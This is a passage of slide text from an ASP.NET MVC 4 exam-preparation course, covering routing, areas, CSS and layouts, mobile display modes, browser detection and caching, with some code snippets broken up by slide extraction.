query/{queryname}/{*queryvalues}

URL

Parameters

/query/select/bikes?color=red

queryname is "select"
queryvalues is "bikes"
Request.QueryString["color"] is "red"

/query/select/bikes/onsale

queryname is "select"
queryvalues is "bikes/onsale"

/query/select/bikes

queryname is "select"
queryvalues is "bikes"

/query/select

queryname is "select"
queryvalues is null

You can only have one segment marked with * and it must be
the last segment and it is automatically optional

Routing

7. 12

Constraints
Routes can use constraints to differentiate
Without the constraint the first route would match both samples
routes.MapRoute(name: "ProductByIntegerRoute",
url: "product/{id}", // product/23
defaults: new { controller = "Product", action = "Details" },
constraints: new { id = "^\d{1,}$" }
);
routes.MapRoute(name: "ProductByStringRoute",
url: "product/{name}", // product/apple
defaults: new { controller = "Product", action = "DetailsByName" }
);

public ActionResult Details(int id)

public ActionResult DetailsByName(string name)

Routing

7. 13

Scenarios When Routing Is Not Applied

Physical file matches
By default, routing does not handle requests that map to an
existing physical file on the Web server
Override the default behavior by setting the RouteExistingFiles
property of the RouteCollection object to true

Routing explicitly disabled for a URL pattern

Define a route and specify that the StopRoutingHandler class
should be used to handle that pattern
Use the RouteCollection.Ignore method (or the extension
method RouteCollectionExtensions.IgnoreRoute) to create
routes that use the StopRoutingHandler class
routes.Ignore("{resource}.axd/{*pathInfo}");
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
Difference between RouteCollection.Ignore and RouteCollection.IgnoreRoute?
http://stackoverflow.com/questions/11544338/difference-between-routecollection-ignore-and-routecollection-ignoreroute

Routing

7. 14

How URLs are Matched to Routes

Matching a URL request to a route depends on all the
following conditions
The route patterns that you have defined or the default route
The order in which you added them to the Routes collection
Any default values that you have provided for a route
Any constraints that you have provided for a route
Whether you have defined routing to handle requests that
match a physical file

Route matching is tried from the first route to the last

route in the collection
When a match occurs, no more routes are evaluated

7. 15

Routing

Custom Route Handlers (1 of 2)

using System.Web;
using System.Web.Mvc;
using System.Web.Routing;

The sole purpose of IRouteHandler is to produce an

IHttpHandler that can handle a request
For example, to perform a check by country
Create a class that implements IRouteHandler
public class CountryProhibitionRouteHandler : IRouteHandler
{
public IHttpHandler GetHttpHandler(RequestContext context)
{
return new IpBlockHandler();

Inherit from MvcHandler (implements IHttpHandler)

public class IpBlockHandler : MvcHandler
{
public override void ProcessRequest(IHttpContext context)

IRouteHandler in ASP.NET MVC

http://dotnet.dzone.com/news/iroutehandler-aspnet-mvc

Routing

7. 16

Custom Route Handlers (2 of 2)

Register the route handler
public static void RegisterRoutes(RouteCollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
RouteTable.Routes.Add(new Route("order/{0}",
new CountryProhibitionRouteHandler(
new List<string>() { "NastyCountryIPAddress" })));
routes.MapRoute(
name: "Default",
url: "{controller}/{action}/{id}",
defaults: new { controller = "Home", action = "Index",
id = UrlParameter.Optional }
);

MvcRouteHandler and MvcHandler in ASP.NET MVC Framework

http://www.codeproject.com/Articles/595520/MvcRouteHandler-and-MvcHandler-in-ASP-NET-MVC-Fram

Create your own IRouteHandler

http://weblogs.asp.net/fredriknormen/asp-net-mvc-framework-create-your-own-iroutehandler

7. 17

Routing

Custom Route Constraint

public class CountryRouteConstraint : IRouteConstraint
{
private readonly string[] countries =
(new NorthwindEntities()).Countries.ToArray();
public bool Match(HttpContextBase context, Route route,
string param, RouteValueDictionary values, RouteDirection direction)
{
if (!values.ContainsKey(param)) return false;
var country = (string)values[param];
return countries.Contains(country, StringComparer.OrdinalIgnoreCase);
}
}

routes.MapRoute(
name: "PlaceRoute",
url: "{country}/{city}",
defaults: new { controller = "Home", action = "Index" },
constraints: new { country = new CountryRouteConstraint() }
);

IRouteConstraint Interface
http://msdn.microsoft.com/en-us/library/system.web.routing.irouteconstraint.aspx

Routing

7. 18

Route Debugger
Route Debugger is a little
utility Phil Haack wrote to
help debug issues with route
configurations
install-package routedebugger

Route Debugger 2.1.4

http://www.nuget.org/packages/routedebugger

ASP.NET Routing Debugger

http://haacked.com/archive/2008/03/13/url-routing-debugger.aspx

Routing

7. 19

IIS URL Rewrite Module

IIS admins can create rules to map URLs
For SEO, to perform redirects, based on HTTP headers or server
variables (like IP addresses), stop requests, control access

URL rewriting differs from ASP.NET routing

URL rewriting processes incoming requests by actually changing
the URL before it sends the request to the Web page

URL rewriting typically does not have an API for creating URLs
that are based on your patterns so if you change a pattern, you
must manually update all hyperlinks that contain the original
With ASP.NET routing, the URL is not changed, because routing
can extract values from the URL
When you have to create a URL, you pass parameter values into
a method that generates the URL for you
Using the URL Rewrite Module
http://learn.iis.net/page.aspx/460/using-the-url-rewrite-module/

MVC Areas

7. 20

What are Areas?

The default ASP.NET MVC project structure can become
unwieldy so MVC lets you partition Web applications
into smaller units that are referred to as areas
An area is effectively an MVC structure inside an application

Right-click an MVC project and choose Add-Area...

10

MVC Areas

7. 21

Area Registration
When you add an area to a project, a route for the
area is defined in an AreaRegistration file
The route sends requests to the area based on the
request URL
To register routes for areas, you add code to the
Global.asax file that can automatically find the area
routes in the AreaRegistration file
AreaRegistration.RegisterAllAreas();

Note: this is done automatically by Visual Studio but

might need to be explicitly specified in the exam
Organizing an ASP.NET MVC Application using Areas
https://msdn.microsoft.com/en-GB/library/ee671793(v=vs.100).aspx

MVC Areas

7. 22

Linking Between Areas

Html.ActionLink helper method
This will work inside an area
@Html.ActionLink("Show Blog", "ShowBlog", "Blog")

Outside the area we must also pass a routeValues instance (an

anonymous type with an "area" property with value of the area
name) and optionally any HTML attributes to set (usually null)
@Html.ActionLink("Show Blog", "ShowBlog", "Blog",
new { area = "hr" }, null)

To create a link inside an area to go back outside the area

@Html.ActionLink("Home Page", "Index", "Home",
new { area = "" }, null)

11

MVC Areas

7. 23

Global Filters and Areas

Microsoft explicitly does NOT support Area-based
filters, especially for security reasons
This is because controllers are not associated with
areas, routes are associated with areas
Technically, all controllers are treated identically even if they
are inside different areas

The only supported solution is to put your attribute on

a controller base class and to ensure that each
controller within the area subclasses that base class

How can we set authorization for a whole area in ASP.NET MVC?

http://stackoverflow.com/questions/2319157/how-can-we-set-authorization-for-a-whole-area-in-asp-net-mvc/2320419#2320419

MVC Areas

7. 24

Controllers with Same Name

By default, controllers must have
unique names within an MVC project,
even with multiple areas
To reuse a controller name in an area you
must specify the root namespace when
registering the default route by passing an
array of string

routes.MapRoute("Default", // Route name

"{controller}/{action}/{id}", // URL
new { controller = "Home", action = "Index", id = "" }, // Defaults
new[] { "AreasDemoWeb.Controllers" } // Namespace
);

12

8. 1

Module 8
Applying Styles to ASP.NET
MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Applying Styles to ASP.NET MVC 4 Web Applications

8. 2

Contents
Topic

Slide

CSS

MVC Layouts

MVC Display Modes

11

Browsers

14

Mobile Browsers

17

Exam Topic: Compose the UI layout of an application

Design layouts to provide visual structure
Implement master/application pages
Exam Topic: Apply the user interface design for a web application
Create and apply styles by using CSS
Structure and lay out the user interface by using HTML
Implement dynamic page content based on a design

Exam Topic: Enhance application behavior and style based on browser detection
Detect browser features and capabilities
Create a web application that runs across multiple browsers and mobile devices
Vendor-specific CSS extensions
Exam Topic: Plan an adaptive UI layout
Plan for running applications in browsers on multiple devices (screen resolution, CSS, HTML)
Plan for mobile web applications

8. 3

CSS

Add/Remove from Layout, Hide/Show Elements

HTML

<!-- to disable a control in HTML -->

<input type="button" disabled />

<div class="removeMe">Hello</div>
<div class="hideMe">Hello</div>

CSS
/* to remove from layout */
.removeMe {
display: none;
}

Note: disabled cannot be set in CSS

/* to hide */
.hideMe {
visibility: hidden;
}

JavaScript
// to disable a
elem.disabled =
// to enable an
elem.disabled =

control
true;
control
false;

// to remove an element from layout

elem.style.display = "none";
// to add an element back to layout
elem.style.display = "block"; // or others
// to hide an element
elem.style.visibility = "hidden";
// to show an element
elem.style.visibility = "visible";

8. 4

CSS

nth-child selector
nth-child can accept numbers, special keywords such as
odd and even, and even formulae (n starts at 0)
ul li:nth-child(2) {
color: red;
}

ul li:nth-child(odd) {
color: red;
}

ul li:nth-child(3n + 2) {
color: red;
}

Note: jQuery supports all CSS selectors,

including nth-child

<ul>
<li>Aaa</li>
<li>Bbb</li>
<li>Ccc</li>
<li>Ddd</li>
<li>Eee</li>
<li>Fff</li>
<li>Ggg</li>
<li>Hhh</li>
</ul>

How nth-child Works

http://css-tricks.com/how-nth-child-works/

8. 5

CSS

nth-child vs nth-of-type
nth-child is commonly used although nth-of-type is
usually better
<div>
<p>Apples</p>
<p>Bananas</p>
</div>
<div>
<h1>Heading</h1>
<p>Apples</p>
<p>Bananas</p>
</div>
<div>
<h1>Heading</h1>
<h2>Sub</h2>
<p>Apples</p>
<p>Bananas</p>
</div>

p:nth-child(2) {
color: red;
}
p:nth-of-type(2) {
background-color: yellow;
}

The Difference Between :nth-child and :nth-of-type

http://css-tricks.com/the-difference-between-nth-child-and-nth-of-type/

8. 6

CSS

Printing
style and link elements support the MEDIA attribute,
which defines the output device for the style sheet
Values for MEDIA are screen (default), print and all
The print value specifies that the style sheet is used when the
page is printed; this value does not affect how the document
will be displayed onscreen
<style type="text/css" media="print">
div.page {
page-break-before: always;
}
</style>

Printing and Style Sheets

https://msdn.microsoft.com/en-us/library/ms533037%28v=vs.85%29.aspx

8. 7

CSS

Media Queries
Different style sheets for different scenarios
<link rel='stylesheet' media='only screen and (max-width: 700px)'
href='css/narrow.css' />
CSS Specification: The keyword only can also be used to hide style
sheets from older user agents. User agents must process media
queries starting with only as if the only keyword was not present.

<link rel='stylesheet'
media='only screen and (min-width: 701px) and (max-width: 900px)'
href='css/medium.css' />

Although media queries support the keywords and

and not, they do not support the or keyword
Use a comma-separated list (MOC is wrong: position 12, 2870)
@media screen and (max-width: 995px), screen and (max-height: 700px) {
/* rules for either media query */

CSS Media Queries & Using Available Space

http://css-tricks.com/css-media-queries/

8. 8

CSS

Microsoft Extensions to CSS

Microsoft has extended CSS in Internet Explorer
-ms-accelerator : keyboard shortcuts
behavior and ms-behavior : sets location of DHTML behaviors
-ms-filter, -ms-fullscreen, -ms-interpolation-mode, and so on

behavior: url(sLocation) | url(#objID) |

url(#default#behaviorName)
You can apply multiple behaviors to an element by specifying a
space-delimited list of URLs
<element style="behavior:url(a1.htc) url(a2.htc) ...">

Obsolete as of IE10 but might appear in the exam

Microsoft Extensions to CSS

http://msdn.microsoft.com/en-us/library/ie/hh772373(v=vs.85).aspx

8. 9

MVC Layouts

http://www.contoso.com/home/index/

How Do They Work?

1 /Views/_ViewStart.cshtml

@{ Layout = "~/Views/Shared/_Layout.cshtml"; }
@{

2a

if (User.IsInRole("Admin"))
Layout = "~/Views/Shared/_AdminLayout.cshtml";
ViewBag.Title = "Welcome to the Home Page";
}
<h2>Welcome to the Home Page</h2> 3b
@section scripts {
<script>
4b
alert('hello');
</script>
/Home/Index.cshtml
}

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
2b <title>@ViewBag.Title</title>
@Styles.Render("~/Content/css")
@Scripts.Render("~/bundles/modernizr")
</head>
<body>
@RenderBody() 3a

@Scripts.Render("~/bundles/jquery")
@RenderSection("scripts", required: false) 4a
</body>
/Views/Shared/_Layout.cshtml
</html>

MVC Layouts

8. 10

_ViewStart
When using Visual Studio project templates they create
a Shared/_Layout.cshtml and a _ViewStart.cshtml
_ViewStart.cshtml is executed before every View is displayed to
set initial properties for the View such as Layout
Each View sub-folder can have its own _ViewStart.cshtml

Note
If you use PartialView() in your controllers instead of View()
then _ViewStart.cshtml will not be executed

Correct way to use _viewstart.cshtml and partial Razor views?

http://stackoverflow.com/questions/4081811/correct-way-to-use-viewstart-cshtml-and-partial-razor-views

ASP.NET MVC 3: Layouts with Razor

http://weblogs.asp.net/scottgu/asp-net-mvc-3-layouts

8. 11

MVC Display Modes

Using and Registering Display Modes

By default ASP.NET registers a (default) and a
mobile display mode
You can also create your own for more advanced customization
This creates a new display mode (inserted at the top of the
existing list) that will activate when the text iPhone is found
in the requests user-agent
using System.Web.WebPages;

DisplayModeProvider.Instance.Modes.Insert(0,
new DefaultDisplayMode("iPhone") { ContextCondition =
(ctx => ctx.Request.UserAgent.IndexOf("iPhone",
StringComparison.OrdinalIgnoreCase) >= 0) });

You can then create specific views for this type of device by
giving them names such as xyz.iphone.cshtml

ASP.NET MVC 4 (Part 2 - Mobile Features)

http://build-failed.blogspot.co.uk/2012/03/aspnet-mvc-4-part-2-mobile-features.html

MVC Display Modes

8. 12

Testing Display Modes

To test the mobile option, hit F12 and bring up the
Developers Tools window
Set a fake user agent that matches a mobile device
Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko)

In spite of a misleading name, the DefaultDisplayMode

class is just the class that represents a display mode
Heres how Microsofts one for mobile is written
var mode = new DefaultDisplayMode(MobileDisplayModeId)
{
ContextCondition =
context => context.GetOverriddenBrowser().IsMobileDevice
};

Multiple Views and DisplayMode Providers in ASP.NET MVC 4

https://www.simple-talk.com/dotnet/asp.net/multiple-views-and-displaymode-providers-in-asp.net-mvc-4/

8. 13

MVC Display Modes

Mobile-Aware OutputCache

Exam Topic: none

Fix bug with MVC 4 display modes

Install-Package Microsoft.AspNet.Mvc.FixedDisplayModes -Version 1.0.0

Apply OutputCache with custom string

[OutputCache(Duration = 10, VaryByCustom = "IsMobile")]

Override in Global.asax
public override string GetVaryByCustomString(
HttpContext context, string custom)
{
if ((context.Request.Browser.IsMobileDevice) &&
(custom == "IsMobile")) return "mobile";
base.GetVaryByCustomString(context, string);
ASP.Net MVC4 Mobile-Aware OutputCache
http://stackoverflow.com/questions/9605085/asp-net-mvc4-mobile-aware-outputcache

Microsoft ASP.NET MVC Fixed DisplayModes 1.0.0

http://www.nuget.org/packages/Microsoft.AspNet.Mvc.FixedDisplayModes/1.0.0

Browsers

8. 14

Determining the Browser Type

Not all browsers render HTML identically
To generate different versions of a page for different
browsers we need to know capabilities of a browser
Request.Browser (HttpBrowserCapabilities) properties
Read the strongly-typed property or the string-keyed collection
var cookiesSupported = Request.Browser.Cookies;
// or Request.Browser["Cookies"]

Cast to MobileCapabilities to get more details if the browser is

running on a mobile device
var mobile = Request.Browser.IsMobileDevice;
// (Request.Browser as MobileCapabilities)

Warning! Capabilities indicate support for a feature, not if that

feature is currently enabled, for example, Cookies

Browsers

8. 15

How Browser Capabilities are Defined

Microsoft supplies definition files for most browsers
\WINDOWS\Microsoft.NET\Framework\v4.0.30319\
CONFIG\Browsers
These files are compiled and deployed to the GAC to improve
performance, so if you add or modify you must re-register
aspnet_regbrowsers.exe -i

For a specific web application you can create browser

definition files in a special sub-folder
App_Browsers
<browserCaps> element in Web.config is obsolete

Browsers

8. 16

Overridden Browser Capabilities

Lets your application treat requests as if they were
coming from a different browser (user agent) than the
one theyre actually from
SetOverriddenBrowser()
Overrides the requests actual user agent value

GetOverriddenBrowser()
Returns the browser capabilities object for the overridden
browser capabilities or for the actual browser if no override has
been specified

Browser Overriding features in ASP.NET MVC 4

http://theshravan.net/blog/browser-overriding-features-in-asp-net-mvc-4/

8. 17

Mobile Browsers

View Port
Mobile browsers render pages in a virtual window
(the viewport), usually wider than the screen
Users can pan and zoom to see different areas of the page

Mobile Safari introduced the viewport meta tag to let

web developers control the viewports size and scale
<meta name="viewport" content="width=device-width, initial-scale=2.0">

width: device-width or a number of pixels

initial-scale: zoom level when first loaded (1.0 means 100%)
user-scalable: control if users are allowed to zoom the page
<meta name="viewport" content="width=device-width, user-scalable=no">

Configuring the Viewport

https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewpo rt.html

8. 18

Mobile Browsers

View Port Examples

Without viewport

<meta name="viewport"
content="width=device-width">

<meta name="viewport"
content="width=device-width, initial-scale=0.5, user-scalable=no">
Using the viewport meta tag to control layout on mobile browsers
https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag?redirectlocale=en-US&redirectslug=Mobile%2FViewport_meta_tag

9. 1

Module 9
Building Responsive Pages in
ASP.NET MVC 4 Web Applications
Developing ASP.NET MVC 4
Web Applications

Updated 4th September 2015

Building Responsive Pages in ASP.NET MVC 4 Web Applications

9. 2

Contents
Topic

Slide

Partial Page Updates

Caching Overview

System.Web.Caching

System.Runtime.Caching

10

OutputCache

13

Caching Configuration

15

Downstream Caching

16

Microsoft Azure Caching

19

HTML5 Prefetch

21

Performance

22

Exam Topic: Design and implement UI behavior

Use AJAX to make partial page updates
Exam Topic: Design a caching strategy
Implement page output caching (performance oriented)
Implement data caching
Implement HTTP caching
Implement Azure caching

Partial Page Updates

9. 3

Ajax.ActionLink
MOC page 09-4: unnecessary to add [HttpGet]
MOC code on page 09-5
@Ajax.ActionLink("Refresh", "HelloWorld", new AjaxOptions {
HttpMethod = "POST", UpdateTargetId = "divMessage",
InsertionMode = InsertionMode.Replace })

They used HttpMethod = "POST" to ensure the response isnt

cached but they should have used AllowCache property instead
AllowCache = false, // and this is the default in MVC 5 anyway!

They should have used GET

InsertionMode
Replace, ReplaceWith, InsertBefore, InsertAfter
AjaxOptions Class
http://msdn.microsoft.com/en-us/library/system.web.mvc.ajax.ajaxoptions(v=vs.108).aspx

Partial Page Updates

9. 4

Ajax.ActionLink jQuery Library Support

Visual Studio 2012
When using the MVC 4 Basic template, add jqueryval bundle
to the view
@section scripts
{
@Scripts.Render("~/bundles/jqueryval")
}

Visual Studio 2013

When using the MVC template, add the NuGet package
Microsoft jQuery Unobtrusive Ajax and add a script reference
for jquery.unobtrusive-ajax.js to the view
@section scripts
{
<script src="~/Scripts/jquery.unobtrusive-ajax.js"></script>
}

9. 5

Caching Overview

Types of Caching
Caching stores frequently accessed data in memory
where it can be retrieved faster than it could be from a
file or database
ASP.NET MVC has two types of caching

Model caching (Cache, MemoryCache, Azure caches)

Cache and MemoryCache objects are dictionaries that can store
any object in server memory and automatically remove it based
on memory limitations, time limits, or other dependencies

View caching (OutputCache, Response.Cache)

OutputCache is an attribute that can cache an ActionResult on
the server (or browser or intermediaries) to avoid needing to
call that action method for future requests (for a duration)
Response.Cache controls where HTTP GET responses can be
cached (server, intermediaries, browser)

9. 6

System.Web.Caching

How to Store Objects in the Cache

Assignment

using System.Web.Caching;

Assigns a value to an unused key or replaces existing value

HttpContext.Cache["Greeting"] = "Hello, world!";

Insert method (overloaded), replaces if duplicate key

Provides (optional) parameters to customize items in the cache
HttpContext.Cache.Insert("Greeting", "Hello, world!");

Add method, throws exception if duplicate key

Requires all parameters to be specified
HttpContext.Cache.Add("Greeting", "Hello, world!",
null, // dependencies
DateTime.Now.AddSeconds(60), Cache.NoSlidingExpiration,
CacheItemPriority.High, onRemoveCallback);

9. 7

System.Web.Caching

Cache Insert and Add Methods Parameters

key

The identifier used to access the cached data

value

The data to cache

dependencies

A CacheDependency object that references a file, other object

in the cache, or database command used to track changes to
data outside of the cache

absoluteExpiration

A DateTime or Cache.NoAbsoluteExpiration when using sliding

expiration

slidingExpiration

A TimeSpan that identifies how long the data should remain in

the cache after the data was last accessed or
Cache.NoSlidingExpiration when using absolute expiration

priority

A CacheItemPriority enumeration value identifying the relative

priority of the cached data (Low, BelowNormal, Normal,
AboveNormal, High, NotRemovable*)

onRemoveCallback

A delegate to call when the data is removed from the cache;

CacheItemRemovedReason: Removed, Expired, Underused,
DependencyChanged

* NotRemovable means that Microsoft's algorithm will not remove such an item when
you get low on memory, but that it can expire or be removed by a dependency

9. 8

System.Web.Caching

Defining a Cache Dependency

To create a file dependency

using System.Web.Caching;

var dep1 = new CacheDependency(Server.MapPath("products.xml"));

To create an object dependency

string[] keyDeps = { "CachedObject1", "CachedObject2" };
var dep2 = new CacheDependency(null, keyDeps);

To create an SQL dependency (see next slide)

var dep3 = new SqlCacheDependency("Northwind", "Products");

To cache an object with one of the above dependencies

HttpContext.Current.Cache.Insert(
"CachedProducts", service.GetProducts(), dep3);
Note: you can aggregate dependencies

9. 9

System.Web.Caching

SqlCacheDependency
Modify the web.config
<caching>
<sqlCacheDependency enabled="true" pollTime="30000">
<databases>
<add name="Northwind" connectionStringName="NorthwindConnection"/>

Activate the SqlCacheDependency in the Global.asax

SqlCacheDependencyAdmin.EnableNotifications(connectionString);
SqlCacheDependencyAdmin.EnableTableForNotifications(
connectionString, "Products");

using System.Web.Caching;

Enable cache dependencies on the table

aspnet_regsql.exe -S [YOURSERVER] -U [USERNAME] -P [PASSWORD]
-ed -d [DATABASE] -et -t [TABLENAME]

Activate ASP.NET MVC3 Caching with Database Dependency

http://sdeu.wordpress.com/2011/02/08/activate-asp-net-mvc3-caching-with-database-dependency/

9. 10

System.Runtime.Caching

What Is the MemoryCache?

Introduced in .NET 4, it is similar to the Cache
Moved out of ASP.NET so it can be used by other .NET apps
Supports multiple instances, as well as a Default instance
using System.Runtime.Caching;

var policy = new CacheItemPolicy

{ SlidingExpiration = TimeSpan.FromHours(2) };
MemoryCache.Default.Set("MyCustomers", service.GetCustomers(),
policy, null); // last parameter is region (not supported)
var cachedObject = MemoryCache.Default.Get("MyCustomers");
if (cachedObject != null)

Although it is not a singleton, avoid creating too many

instances, and use Default when possible

MemoryCache.Set Method (String, Object, CacheItemPolicy, String)

http://msdn.microsoft.com/en-us/library/ee395903(v=vs.110).aspx

9. 11

System.Runtime.Caching

What Is AddOrGetExisting Used For?

It is NOT used to either get or reload an existing cached
object, as incorrectly explained in the MOC
var cachedObject = MemoryCache.Default.AddOrGetExisting(
"MyCustomers", service.GetCustomers(), policy, null);

There are often situations where you only want to create a

cache entry if a matching entry doesnt already exist (that is,
you don't want to overwrite an existing value)

Get("foo")
Get("foo")
Set("foo", "something")

Thread 2

Thread 1

Without AddOrGetExisting it would be impossible to perform the

get-test-set in an atomic, thread-safe manner

Set("foo", "something else")

MemoryCache.AddOrGetExisting
http://stackoverflow.com/questions/14698228/what-is-memorycache-addorgetexisting-for

System.Runtime.Caching

9. 12

CacheItemPolicy
Represents a set of eviction and expiration details for a
specific cache entry
AbsoluteExpiration: DateTime
SlidingExpiration: TimeSpan
Priority: Default, NotRemovable
ChangeMonitors: CacheEntryChangeMonitor,
HostFileChangeMonitor, SqlChangeMonitor
UpdateCallback: before object is removed
RemovedCallback: after object is removed
CacheEntryUpdateArguments Class
http://msdn.microsoft.com/en-us/library/system.runtime.caching.cacheentryupdatearguments(v=vs.110).aspx

ChangeMonitor Class
http://msdn.microsoft.com/en-us/library/system.runtime.caching.changemonitor(v=vs.110).aspx

CacheItemPolicy Class
http://msdn.microsoft.com/en-us/library/system.runtime.caching.cacheitempolicy(v=vs.110).aspx

9. 13

OutputCache

OutputCache Attribute
Cache the view of an action method for 15 seconds
Each route gets its own copy of the cached view

/Product/Detail/1
/Product/Detail/2

[OutputCache(Duration = 15)] // seconds

public ActionResult Detail(int id = 0) {
ViewBag.Message = "Page was cached at " + DateTime.Now;
return View(GetProduct(id));

If you need to store multiple copies per query string (not

necessary in MVC 5) or form parameter, use VaryByParam
[OutputCache(Duration = 15, VaryByParam = "colour;size")]
public ActionResult Detail(int id = 0) {
ViewBag.Message = "Page was cached at " + DateTime.Now;
return View(GetProductByColour(id, colour));

@OutputCache with Web Forms caches different pages for each

browser; in MVC you must explicitly switch this feature on
[OutputCache(Duration = 15, VaryByCustom = "browser")]

9. 14

OutputCache

Configuring Caching

Warning! All VaryByXx options

use semicolon-separated lists

Duration

The number of seconds to cache the page

VaryByParam

A semicolon-separated list used to vary the output cache that

correspond to a query string or post value or use *

Location

OutputCacheLocation enumeration: Any (default), Client,

Downstream, Server, None, or ServerAndClient

CacheProfile

Name of a profile defined in Web.config

NoStore

If true, prevents secondary storage of sensitive information

SqlDependency

A set of database and table name pairs that cache depends on

VaryByCustom

If a custom string is entered, override the GetVaryByCustomString

method in the Global.asax file; browser is built-in

VaryByHeader

A semicolon-separated list of HTTP headers

VaryByContentEncoding

A semicolon-delimited set of character sets (content encodings)

used to vary the cache entry

[OutputCache(Duration = 3600, SqlDependency = "Northwind:Products")]

public ActionResult Index() // cache for one hour unless table changes
OutputCacheAttribute Class
http://msdn.microsoft.com/en-us/library/system.web.mvc.outputcacheattribute.aspx

Caching Configuration

9. 15

Configuring Caching for an Entire Site

Define cache profile in Web.config
Reference the profile in @OutputCache directives (Web Forms)
or OutputCache attributes (MVC)
<caching>
<outputCacheSettings>
<outputCacheProfiles>
<add name="OneMinuteProfile" enabled="true" duration="60" />
</outputCacheProfiles>
</outputCacheSettings>
<cache percentagePhysicalMemoryUsedLimit="90" />
<sqlCacheDependency enabled="true" pollTime="90">
<databases>
<add ... />

pollTime is only necessary for SQL Server 7.0 and 2000

The query notification mechanism of SQL Server 2005 detects
changes to data that invalidate the results of an SQL query and
removes any cached items associated with the SQL query

Downstream Caching

9. 16

Response.Cache Location
Use SetCacheability(HttpCacheability) to control
caching in intermediaries and browsers
Response.Cache.SetCacheability(HttpCacheability.Public);

NoCache, Server,
ServerAndNoCache

Sets the Cache-Control: no-cache header. With a field name, the

directive applies only to the named field; the rest of the response may
be supplied from a shared cache. Server or ServerAndNoCache specify
that the response is cached only at the origin server. NoCache or
ServerAndNoCache specify that the Expires HTTP header is set to -1.
This tells the client to not cache responses in the History folder. So
each time you use the back/forward buttons, the client requests a new
version of the response.

Private

Sets Cache-Control: private to specify that the response is cacheable

only on the client

Public

Sets Cache-Control: public

ServerAndPrivate

Proxy servers are not allowed to cache the response

HttpCacheability Enumeration
http://msdn.microsoft.com/en-us/library/system.web.httpcacheability(v=vs.110).aspx

Downstream Caching

9. 17

Response.Cache Browser History

You can control if a response is shown in history
Makes the response available in the browser History cache,
regardless of the HttpCacheability setting made on the server
Response.Cache.SetAllowResponseInBrowserHistory(true);

When HttpCacheability is set to NoCache or ServerAndNoCache

the Expires HTTP header is by default set to -1

You can override this behavior by calling

SetAllowResponseInBrowserHistory as above
If HttpCacheability is set to values other than NoCache or
ServerAndNoCache, then SetAllowResponseInBrowserHistory has
no effect

HttpCachePolicy.SetAllowResponseInBrowserHistory Method
http://msdn.microsoft.com/en-us/library/system.web.httpcachepolicy.setallowresponseinbrowserhistory(v=vs.110).aspx

Downstream Caching

9. 18

Response.Cache Expiry
You can control how long responses get cached
Sets the Expires HTTP header to an absolute date and time
Response.Cache.SetExpires(DateTime.Parse("6:00:00PM"));
// expire in one minute
Response.Cache.SetExpires(DateTime.Now.AddMinutes(1.0));

When cache expiration is set to sliding, the Cache-Control HTTP

header will be renewed with each response
Response.Cache.SetSlidingExpiration(true);

Set the Max-age HTTP header to a sliding timespan

Response.Cache.SetMaxAge(TimeSpan.FromMinutes(30));

HttpCachePolicy.SetExpires Method
http://msdn.microsoft.com/en-us/library/system.web.httpcachepolicy.setexpires(v=vs.110).aspx

9. 19

Microsoft Azure Caching

AppFabric Caching
Build highly responsive applications using a distributed
cache that scales independently from your application
DataCache cache = new DataCache("default");
// Add the string "value" to the cache, keyed by "item"
cache.Add("item", "value", TimeSpan.FromMinutes(30));
DataCacheItem item = cache.GetCacheItem("item");
TimeSpan timeRemaining = item.Timeout;
using Microsoft.ApplicationServer.Caching;

Note: there are better options, for example, Redis cache (see
next slide)

Microsoft.ApplicationServer.Caching Namespace
https://msdn.microsoft.com/en-us/library/microsoft.applicationserver.caching(v=azure.10).aspx

How to Use Azure Cache Service

http://azure.microsoft.com/en-us/documentation/articles/cache-dotnet-how-to-use-service/

9. 20

Microsoft Azure Caching

Redis Cache

Exam Topic: none

Microsoft recommends all new developments use the

Redis Cache
Redis is popular for its highly performant data types
Redis supports running atomic operations on types

Cache
http://azure.microsoft.com/en-us/documentation/services/cache/

Which Azure Cache offering is right for me?

http://msdn.microsoft.com/en-us/library/azure/dn766201.aspx

10

HTML5 Prefetch

9. 21

Link Prefetching
Link prefetching is a browser mechanism which utilizes
browser idle time to download or prefetch documents
that the user might visit in the near future
<link rel="prefetch" href="/Home/About">

The prefetch keyword may be used with link, a, and

area elements

4.8.4.9 Link type "prefetch"

http://www.w3.org/TR/html5/links.html#link-type-prefetch

Dangers of using HTML5 prefetch?

http://stackoverflow.com/questions/8137906/dangers-of-using-html5-prefetch

Performance

9. 22

Three Important Takeaways

Some sites never load
Use emulators to test your site over a simulated slow
connection so that you feel your users pain
Google Chrome has a device mode that does this

On some sites the text is invisible for a frustratingly

long time
Browsers based on WebKit wait for the custom font to download
before showing any text
IE shows text in a default font first, then redraws later

Well-designed apps worked wonderfully

Design apps for offline & async usage

Three takeaways for web developers after two weeks of painfully slow internet
https://medium.com/@zengabor/three-takeaways-for-web-developers-after-two-weeks-of-painfully-slow-internet-9e7f6d47726e

11

Performance

9. 23

Case Study The Verge

Did you know that The Verge delivers you to around 20
companies for advertising & tracking purposes?
A typical article uses 75KB
But in the background it makes an additional 263 requests for
